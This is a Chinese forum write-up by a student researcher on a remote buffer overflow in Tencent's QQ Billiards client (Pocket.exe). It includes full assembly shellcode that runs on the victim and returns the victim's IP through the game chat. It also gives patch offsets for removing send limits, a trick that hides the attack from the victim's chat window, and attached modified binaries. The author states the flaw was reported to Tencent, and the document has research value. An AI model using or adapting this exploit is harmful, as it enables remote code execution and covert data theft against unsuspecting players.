============说明==============
1、漏洞是我读大二的时候(三年前)发现的,这篇文章是我读大三的时候写的,本来并没有打算发出来,不过最近打算找工作,所以就翻箱倒柜把它找出来了。
2、漏洞我已经报告过给腾讯,并且我大四找工作的时候也把这个漏洞的情况告诉过腾讯HR。
3、这篇文章是原创,也是首发在看雪这里,如果转载请注明出处。
4、我的简历在这里(http://bbs.pediy.com/showthread.php?t=108821),希望有意招我的公司能联系一下我,我的邮箱是yinXlms#126.com(#换成@),谢谢。
============================



《QQ桌球》的缓冲区溢出漏洞报告
yinX
2008年4月11日

综述
  腾讯公司的网络游戏软件《QQ桌球》存在一个远程缓冲区溢出漏洞,可被攻击者利用,使其执行远程代码。

文件版本
  文件名:Pocket.exe
  版本号:0.10.102.23
  发布时间:2005.01.17

漏洞成因
  QQ游戏的架构是这样的:各种游戏的主程序文件并不直接与网络打交道,所有网络数据,包括聊天内容和游戏动作,都通过游戏大厅发送和接收。为了适应各种数据,游戏大厅开了一个大小为0x2800的Buf。在发送聊天内容的时候,游戏大厅会把数据的类型和大小(针对QQ桌球这一个游戏,聊天数据的大小总为0x37C)附在聊天数据的前面一同发送到对方的游戏大厅。Pocket.exe用于显示聊天内容的缓冲区大小只有0x37C,并且从Recv的Buf复制数据的时候只按接收到的数据前部指明的大小来拷贝。如果攻击者恶意地把指明的大小从0x37C改成一个更大的数,则会发生缓冲区溢出。



利用方法
  只要直接给对方的游戏大厅发送为了经过精心构造的数据即可令对方溢出,为了简单起见,使用Pocket.exe的聊天功能作为攻击工具而不另外编写攻击程序。不过Pocket.exe对发送的聊天内容的大小作了限制,所以攻击前一定要先去除这些限制。
  限制的地方有三处:0x40747C限制了发送的内容不能超过0x100字节;0x407487会把聊天内容前0xfa以外的数据截掉;0x407BBE指定了发送的数据的大小,即右上图中的“数据大小”字段。跟踪调试后发现,发送的数据的大小改成0x38C最为合适,其中最后四个字节为一返回地址。

ShellCode例子
下面是一段ShellCode的例子,功能是回显对方的IP。

代码:
;代码开始
;本程序只针对Win XP SP2

.386
.model tiny,stdcall
option casemap:none

.code
org  2f376h-1000h    ;因为这段ShellCode要放在0x12f376的位置,但Masm编程序默认基址是0x400000
        ;我在链接选项里加了/base:0x100000,现在org 2f376h就刚好是0x12f376h,
        ;至于org 2f376h-1000h,那个1000h是PE头的大小

VirtualProtect    equ  7c801ad0h

ShellBase    equ  7c883320h

;从Pocket.exe里拿过来用的函数
LoadLibrary    equ  4170a4ffh
GetModuleHandle    equ  417088ffh
GetProcAddress    equ  4170a8ffh
SendTalk    equ  41f50cffh


;变量相对于GetBase的偏移,其实这样的做法不好,因为复制到Kernel32的时候没有复制这一部分
SendIP    equ  0ffh  ;Len 20h
OldProtect  equ  0bfh  ;Len 4
Ws2_32Base  equ  0bbh  ;Len 4
wVersionRequested  equ  0b7h  ;Len 2
WSAData    equ  -380h  ;Len ?
nam    equ  -280h  ;Len 256  此处比较特别,它是放在ShellCode后面的
remoteHost  equ  0afh  ;Len ?    这个是指针,用的时候注意

start:

db  0A9h  dup  (90h)    ;GetBase-0FFh刚好是Dword对齐

CodeBeg:
StaBase  db  0EBh,0Ch,90h,5Bh,83h,0EBh,13h,8Bh,0C3h,83h,0C0h,14h,0FFh,0E0h,0E8h,0F0h,0FFh,0FFh,0FFh,90h
;  After GetBase, Ebx = GetBase's Address

add  esp,-504h        ;栈顶减是因为,要保证下面的API使用堆栈时不会把代码覆盖掉

mov  eax,ebx
add  eax,-OldProtect
push  eax
push  40h
xor  eax,eax
mov  al,83h
shl  eax,0ch
push  eax
mov  ax,7c80h
shl  eax,10h
add  ah,10h
push  eax
mov  eax,VirtualProtect
call  eax

mov  esi,ebx
sub  esi,-(offset CodeBeg2- offset StaBase)
mov  edi,ShellBase      ;把代码复制到代码段,卡巴不会报。不过后来发现一种更好的过卡巴的方法,就是修改PEB里的栈顶和栈底数据。
xor  ecx,ecx
mov  cx,offset CodeEnd-offset CodeBeg2
rep movsb

sub  esp,-504h    ;恢复堆栈

mov  eax,ShellBase
jmp  eax

CodeBeg2:

GetBase  db  0EBh,0Ch,90h,5Bh,83h,0EBh,13h,8Bh,0C3h,83h,0C0h,14h,0FFh,0E0h,0E8h,0F0h,0FFh,0FFh,0FFh,90h

mov  eax,ebx          ;把字符串后面的那个1变成0
sub  eax,offset GetBase - offset TextStart
mov  edi,eax
mov  esi,edi
sub  esi,offset TextStart - offset TextEnd
cld
mov  al,1
mov  cx,0ffffh
LbXor:
repne scas  byte ptr [edi]
dec  edi
xor  byte ptr [edi],1
inc  edi
cmp  edi,esi
jl  LbXor

;********************************************************************
;返回目标的IP,EDX放着Ws2_32的基址
mov  eax,ebx
sub  eax,offset GetBase - offset Ws2_32 
push  eax
mov  eax,LoadLibrary
shr  eax,8h
call  dword ptr [eax]
mov  edx,ebx
add  edx,-Ws2_32Base      ;把Ws2_32的地址保存起来
mov  [edx],eax

mov  eax,ebx        ;WSAStartup
sub  eax,WSAData
push  eax
mov  eax,ebx
xor  ecx,ecx
mov  cx,0cccch      
push  ecx
mov  eax,ebx
sub  eax,offset GetBase - offset sWSAStartup
push  eax
mov  edx,ebx
add  edx,-Ws2_32Base  
push  [edx]
mov  eax,GetProcAddress
shr  eax,8h
call  dword ptr [eax]
call  eax

xor  eax,eax        ;gethostname
mov  al,0ffh
push  eax
mov  eax,ebx
sub  eax,nam
push  eax
mov  eax,ebx
sub  eax,offset GetBase - offset sgethostname
push  eax
mov  edx,ebx
add  edx,-Ws2_32Base  
push  [edx]
mov  eax,GetProcAddress
shr  eax,8h
call  dword ptr [eax]
call  eax

mov  eax,ebx      ;gethostbyname
sub  eax,nam
push  eax
mov  eax,ebx
sub  eax,offset GetBase - offset sgethostbyname
push  eax
mov  edx,ebx
add  edx,-Ws2_32Base  
push  [edx]
mov  eax,GetProcAddress
shr  eax,8h
call  dword ptr [eax]
call  eax

mov  eax,[eax+0ch]
FindIP:
mov  ecx,[eax]
or  ecx,ecx
je  NotFoundIP
mov  ecx,[ecx]
cmp  cl,0c0h
je  IP192
cmp  cl,0a9h
je  IP192        
jmp  FoundIP
IP192:
xor  ecx,ecx
mov  cl,4
add  eax,ecx
jmp  FindIP

FoundIP:
mov  ecx,[eax]
mov  ecx,[ecx]

push  ecx        ;inet_ntoa
mov  eax,ebx
sub  eax,offset GetBase - offset sinet_ntoa
push  eax
mov  edx,ebx
add  edx,-Ws2_32Base  
push  [edx]
mov  eax,GetProcAddress
shr  eax,8h
call  dword ptr [eax]
call  eax
NotFoundIP:

mov  edx,ebx  
add  edx,-SendIP
mov  esi,eax
lea  edi,[edx+0ch]
xor  ecx,ecx
mov  cl,10h
rep movsb
push  27h
pop  esi
mov  [edx],esi
xor  ecx,ecx
dec  ecx
mov  [edx+4],ecx
;sub  esi,eax
push  10h    ;长度
pop  eax
mov  [edx+8],eax
push  edx

xor  edx,edx
mov  dx,37ch
push  edx
mov  eax,41f50cffh
shr  eax,8
mov  edx,dword ptr [eax]
push  edx
mov  eax,ebx
sub  eax,offset GetBase - offset GInterop
push  eax
mov  eax,GetModuleHandle
shr  eax,8h
call  dword ptr [eax]
xor  edx,edx
mov  dh,20h
add  eax,edx
call  eax

mov  eax,ebx        ;WSACleanup
sub  eax,offset GetBase - offset sWSACleanup
push  eax
mov  edx,ebx
add  edx,-Ws2_32Base  
push  [edx]
mov  eax,GetProcAddress
shr  eax,8h
call  dword ptr [eax]
call  eax


mov  eax,73d32047h
jmp  eax


TextStart:
GInterop  db  "GInterop.dll",1
Ws2_32    db  "Ws2_32.dll",1
sWSAStartup  db  "WSAStartup",1
sgethostname  db  "gethostname",1
sgethostbyname  db  "gethostbyname",1
sinet_ntoa  db  "inet_ntoa",1
sWSACleanup  db  "WSACleanup",1
TextEnd:  

CodeEnd:
End start

;代码结束
  编译之后得到附件里的数据,用WinHex把附件里的数据复制到经过修改的Pocket.exe的聊天窗口里,发送给对方,即可回显对方的IP地址。

改进
  如果按照上面的方法发送数据,所发送的数据是会在对方的聊天窗口中显示出来的,这会引起对方的注意。跟踪调试后发现“聊天数据”的数据类型为0x27(请参考上面的“发送的数据结构示意图”),而如果把数据类型修改成0x21,则既可实现功能而对方的窗口上也不会显示攻击数据。可实现更好的隐蔽性。把Pocket.exe的0x407B84处修改成21即可实现。
  再者,有时也希望能正常地和对方聊天而不是攻击对方,所以希望Pocket.exe程序能在正常程序和攻击程序间切换。我用XOR操作实现了这个功能。

附件说明
  “Pocket.exe”是经过修改的程序,点击其右下角的“道具”按钮即可实现正常程序与攻击程序之间的切换。默认状态是正常程序状态。
  “显IP完整版.bin”是一段可以显示对方IP的ShellCode,用WinHex把它复制到攻击程序的聊天窗口并发送出去即可。
  “Pocket_org.exe”是原版程序。





=====================================
2010.3.13
后补的简单分析:

游戏大厅的NetMod.dll模块:
代码:
.text:100045EA loc_100045EA:                           ; CODE XREF: sub_1000441C+1AEj
.text:100045EA                 mov     edi, 2800h      ; 这个是Socket接收的数据长度
.text:100045EF                 lea     eax, [ebp+buf]
.text:100045F5                 push    edi             ; size_t
.text:100045F6                 push    0               ; int
.text:100045F8                 push    eax             ; void *
.text:100045F9                 call    memset
.text:100045FE                 add     esp, 0Ch
.text:10004601                 lea     eax, [ebp+buf]
.text:10004607                 push    0               ; flags
.text:10004609                 push    edi             ; len
.text:1000460A                 push    eax             ; buf
.text:1000460B                 push    esi             ; s
.text:1000460C                 call    ds:recv
.text:10004612                 mov     edi, eax
.text:10004614                 call    ds:WSAGetLastError
.text:1000461A                 mov     ecx, [ebp+var_1C]
.text:1000461D                 mov     [ebp+var_8], eax
.text:10004620                 cmp     dword ptr [ecx+8], 0
.text:10004624                 jz      short loc_10004643
.text:10004626                 push    dword ptr [ebp+in.S_un] ; in
.text:10004629                 call    ebx ; inet_ntoa
.text:1000462B                 push    eax             ; char
.text:1000462C                 push    offset aSocketthread_1 ; "socketthread connect ip %s notify exit!"...
.text:10004631                 push    esi             ; int
.text:10004632                 call    sub_100047D4
.text:10004637                 add     esp, 0Ch
.text:1000463A                 mov     [ebp+var_4], 1
.text:10004641                 jmp     short loc_1000464F

QQ桌球的主程序:
代码:
00407429   .  E8 46C20000   call    <jmp.&MFC42.#CWnd::GetWindowTextA_3874>   ;  在GetWindowTextA上下断点,在聊天输入框随便输入点东西,来到这里
0040742E   .  8D4C24 10     lea     ecx, dword ptr [esp+10]
00407432   .  E8 97C20000   call    <jmp.&MFC42.#CString::TrimRight_6283>
00407437   .  8B4C24 10     mov     ecx, dword ptr [esp+10]
0040743B   .  8B41 F8       mov     eax, dword ptr [ecx-8]
0040743E   .  85C0          test    eax, eax
00407440   .  75 3A         jnz     short 0040747C
00407442   .  8BAD D4000000 mov     ebp, dword ptr [ebp+D4]
00407448   .  85ED          test    ebp, ebp
0040744A   .  0F84 58060000 je      00407AA8
00407450   .  8B4D 48       mov     ecx, dword ptr [ebp+48]
00407453   .  85C9          test    ecx, ecx
00407455   .  0F84 4D060000 je      00407AA8
0040745B   .  8B11          mov     edx, dword ptr [ecx]
0040745D   .  FF52 1C       call    dword ptr [edx+1C]
00407460   .  8B10          mov     edx, dword ptr [eax]
00407462   .  68 B8EC4100   push    0041ECB8
00407467   .  8BC8          mov     ecx, eax
00407469   .  FF52 18       call    dword ptr [edx+18]
0040746C   .  C78424 3C0700>mov     dword ptr [esp+73C], -1
00407477   .  E9 99070000   jmp     00407C15
0040747C   >  3D 00010000   cmp     eax, 100                                  ;  限制发送的内容不能超过0x100字节
00407481   .  7E 5F         jle     short 004074E2
00407483   .  8D4424 24     lea     eax, dword ptr [esp+24]
00407487   .  68 FA000000   push    0FA                                       ;  把聊天内容前0xfa以外的数据截掉
0040748C   .  50            push    eax
0040748D   .  8D4C24 18     lea     ecx, dword ptr [esp+18]
00407491   .  E8 8AC10000   call    <jmp.&MFC42.#CString::Left_4129>
00407496   .  68 2CF44100   push    0041F42C
0040749B   .  8D4C24 24     lea     ecx, dword ptr [esp+24]
0040749F   .  50            push    eax
004074A0   .  51            push    ecx
004074A1   .  C68424 480700>mov     byte ptr [esp+748], 1
004074A9   .  E8 D0C00000   call    <jmp.&MFC42.#operator+_924>
004074AE   .  50            push    eax
004074AF   .  8D4C24 14     lea     ecx, dword ptr [esp+14]
004074B3   .  C68424 400700>mov     byte ptr [esp+740], 2
004074BB   .  E8 5AC10000   call    <jmp.&MFC42.#CString::operator=_858>
004074C0   .  8D4C24 20     lea     ecx, dword ptr [esp+20]
004074C4   .  C68424 3C0700>mov     byte ptr [esp+73C], 1
004074CC   .  E8 8DBF0000   call    <jmp.&MFC42.#CString::~CString_800>
004074D1   .  8D4C24 24     lea     ecx, dword ptr [esp+24]
004074D5   .  C68424 3C0700>mov     byte ptr [esp+73C], 0
004074DD   .  E8 7CBF0000   call    <jmp.&MFC42.#CString::~CString_800>
004074E2   >  8D4C24 14     lea     ecx, dword ptr [esp+14]
004074E6   .  E8 85BF0000   call    <jmp.&MFC42.#CString::CString_540>
004074EB   .  8D5424 14     lea     edx, dword ptr [esp+14]
004074EF   .  8D8D 380B0000 lea     ecx, dword ptr [ebp+B38]
004074F5   .  52            push    edx
004074F6   .  C68424 400700>mov     byte ptr [esp+740], 3
004074FE   .  E8 71C10000   call    <jmp.&MFC42.#CWnd::GetWindowTextA_3874>   ;  获取消息发送对象,例如是“所有人”
00407503   .  8B4424 14     mov     eax, dword ptr [esp+14]
00407507   .  8B48 F8       mov     ecx, dword ptr [eax-8]
0040750A   .  85C9          test    ecx, ecx
0040750C   .  0F84 A6050000 je      00407AB8
00407512   .  68 F0E34100   push    0041E3F0                                  ; /s2 = "所有人"
00407517   .  50            push    eax                                       ; |s1
00407518   .  FF15 44764100 call    dword ptr [<&MSVCRT._mbscmp>]             ; \_mbscmp
0040751E   .  83C4 08       add     esp, 8
00407521   .  85C0          test    eax, eax
00407523   .  0F84 8F050000 je      00407AB8


…………省略一段代码…………


00407AB8   >  8D4C24 18     lea     ecx, dword ptr [esp+18]
00407ABC   .  E8 AFB90000   call    <jmp.&MFC42.#CString::CString_540>
00407AC1   .  A1 64F54100   mov     eax, dword ptr [41F564]
00407AC6   .  B9 44F54100   mov     ecx, 0041F544
00407ACB   .  50            push    eax
00407ACC   .  C68424 400700>mov     byte ptr [esp+740], 4
00407AD4   .  E8 97660000   call    0040E170
00407AD9   .  85C0          test    eax, eax
00407ADB   .  74 16         je      short 00407AF3
00407ADD   .  83C0 0A       add     eax, 0A
00407AE0   .  8D4C24 18     lea     ecx, dword ptr [esp+18]
00407AE4   .  50            push    eax
00407AE5   .  68 B0EC4100   push    0041ECB0                                  ;  ASCII "%s"
00407AEA   .  51            push    ecx
00407AEB   .  E8 74B90000   call    <jmp.&MFC42.#CString::Format_2818>
00407AF0   .  83C4 0C       add     esp, 0C
00407AF3   >  8D5424 18     lea     edx, dword ptr [esp+18]
00407AF7   .  68 40EC4100   push    0041EC40                                  ;  ASCII "-->所有人:"
00407AFC   .  8D4424 3C     lea     eax, dword ptr [esp+3C]
00407B00   .  52            push    edx
00407B01   .  50            push    eax
00407B02   .  E8 77BA0000   call    <jmp.&MFC42.#operator+_924>
00407B07   .  8D4C24 10     lea     ecx, dword ptr [esp+10]
00407B0B   .  8D5424 30     lea     edx, dword ptr [esp+30]
00407B0F   .  51            push    ecx
00407B10   .  B3 05         mov     bl, 5
00407B12   .  50            push    eax
00407B13   .  52            push    edx
00407B14   .  889C24 480700>mov     byte ptr [esp+748], bl
00407B1B   .  E8 90BB0000   call    <jmp.&MFC42.#operator+_922>
00407B20   .  50            push    eax
00407B21   .  8D4C24 1C     lea     ecx, dword ptr [esp+1C]
00407B25   .  C68424 400700>mov     byte ptr [esp+740], 6
00407B2D   .  E8 E8BA0000   call    <jmp.&MFC42.#CString::operator=_858>
00407B32   .  8D4C24 30     lea     ecx, dword ptr [esp+30]
00407B36   .  889C24 3C0700>mov     byte ptr [esp+73C], bl
00407B3D   .  E8 1CB90000   call    <jmp.&MFC42.#CString::~CString_800>
00407B42   .  8D4C24 38     lea     ecx, dword ptr [esp+38]
00407B46   .  C68424 3C0700>mov     byte ptr [esp+73C], 4
00407B4E   .  E8 0BB90000   call    <jmp.&MFC42.#CString::~CString_800>
00407B53   .  8D4C24 18     lea     ecx, dword ptr [esp+18]
00407B57   .  E8 72BB0000   call    <jmp.&MFC42.#CString::TrimRight_6283>
00407B5C   .  68 28F44100   push    0041F428
00407B61   .  8BCF          mov     ecx, edi
00407B63   .  E8 20B90000   call    <jmp.&MFC42.#CWnd::SetWindowTextA_6199>   ;  这里是自己说的话显示到自己的窗口上
00407B68   .  8B5424 18     mov     edx, dword ptr [esp+18]
00407B6C   .  B9 DF000000   mov     ecx, 0DF
00407B71   .  33C0          xor     eax, eax
00407B73   .  8D7C24 3C     lea     edi, dword ptr [esp+3C]
00407B77   .  F3:AB         rep     stos dword ptr es:[edi]
00407B79   .  83CB FF       or      ebx, FFFFFFFF
00407B7C   .  8BFA          mov     edi, edx
00407B7E   .  8BCB          mov     ecx, ebx
00407B80   .  C64424 3C 27  mov     byte ptr [esp+3C], 27
00407B85   .  895C24 40     mov     dword ptr [esp+40], ebx
00407B89   .  8D7424 48     lea     esi, dword ptr [esp+48]
00407B8D   .  F2:AE         repne   scas byte ptr es:[edi]
00407B8F   .  F7D1          not     ecx
00407B91   .  2BF9          sub     edi, ecx
00407B93   .  897424 30     mov     dword ptr [esp+30], esi
00407B97   .  8BC1          mov     eax, ecx
00407B99   .  8BF7          mov     esi, edi
00407B9B   .  8B7C24 30     mov     edi, dword ptr [esp+30]
00407B9F   .  C1E9 02       shr     ecx, 2
00407BA2   .  F3:A5         rep     movs dword ptr es:[edi], dword ptr [esi]
00407BA4   .  8BC8          mov     ecx, eax
00407BA6   .  A1 0CF54100   mov     eax, dword ptr [41F50C]
00407BAB   .  83E1 03       and     ecx, 3
00407BAE   .  F3:A4         rep     movs byte ptr es:[edi], byte ptr [esi]
00407BB0   .  8B52 F8       mov     edx, dword ptr [edx-8]
00407BB3   .  895424 44     mov     dword ptr [esp+44], edx
00407BB7   .  8B08          mov     ecx, dword ptr [eax]
00407BB9   .  8D5424 3C     lea     edx, dword ptr [esp+3C]
00407BBD   .  52            push    edx
00407BBE   .  68 7C030000   push    37C
00407BC3   .  50            push    eax
00407BC4   .  FF51 0C       call    dword ptr [ecx+C]                         ;  这里准备要跟游戏大厅通讯


在00407BC4准备要发送的一段数据:
代码:
0012F3A0  27 00 00 00 FF FF FF FF 15 00 00 00 79 69 6E 58  '......yinX
0012F3B0  2D 2D 3E CB F9 D3 D0 C8 CB 3A 61 73 64 66 61 65  -->所有人:asdfae
0012F3C0  66 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  f...............
0012F3D0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
这一段的数据结构如下:
DWORD      DataType;    //数据的类型,这里是0x27,表示聊天数据。如果是台球的击球动作等则会是其它的值
DWORD      Unknown;    //这里没用到,我不知道是干嘛的
DWORD      DataLen;    //具体的数据的长度
DWORD[0x370]  Data;      //数据,这里是聊天内容
上传的附件 附件.zip